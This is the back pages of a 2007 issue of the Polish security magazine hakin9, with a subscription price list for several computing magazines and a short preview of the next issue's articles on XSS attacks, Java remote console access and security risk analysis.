Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku maja 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

5/2007

w następnym numerze

między innymi:

Zapowiedzi

Ataki XSS

Temat dotyka problemu ataków XSS. Od kiedy internet stał sie cześcią
naszego życia bezpieczeństwo stron internetowych zawsze wzbudzała wiel-
kie zainteresowanie. Autor pokaże, jak umieścić kod skryptu do wrażliwych
stron www, jak obejść mechanizm filtrów oraz jak zabezpieczyć się przed
atakami XSS.

Zdalna kontrola komputera ze stron www

z użyciem technologii JEE5

Artykuł jest własnym projektem autora w architekturze klient-serwer (aple-
t+servlet), który umożliwia bezpieczny dostęp do konsoli na serwerze z
poziomu przeglądarki WWW na komputerze klienta. Artykuł jest świetną ilu-
stracją programowania sieciowego w Javie.

Kwantywnie czy kwalifikatywnie, czyli kilka

trudnych wyrazów na temat analizy ryzyka

utraty bezpieczeństwa informacji

Artykuł typu teoria przez praktykę opowiada o zbudowaniu w organizacji
kompleksowego systemu bezpieczeństwa. Artykuł ma charakter tutoriala i
pokazuje krok po kroku jak przeprowadzić omawianą analizę.

Bezpieczeństwo – praca u podstaw

Temat dotyczący bezpieczeństwa informacji jest tematem powszechnie
znanym. Mówi się o nim chętnie i dużo. Słusznie bo to bardzo ważna sprawa.
Autor porusza tematykę bezpieczeństwa od podstaw. Stara się przekazać
wiedzę, którą zgromadził dzięki swoim nabytym doświadczeniom.

NA CD:

hakin9.live-bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Obrona

Obrona

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 24 (04 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 36 (04 2008) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
Hakin9 30 (10 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 2

więcej podobnych podstron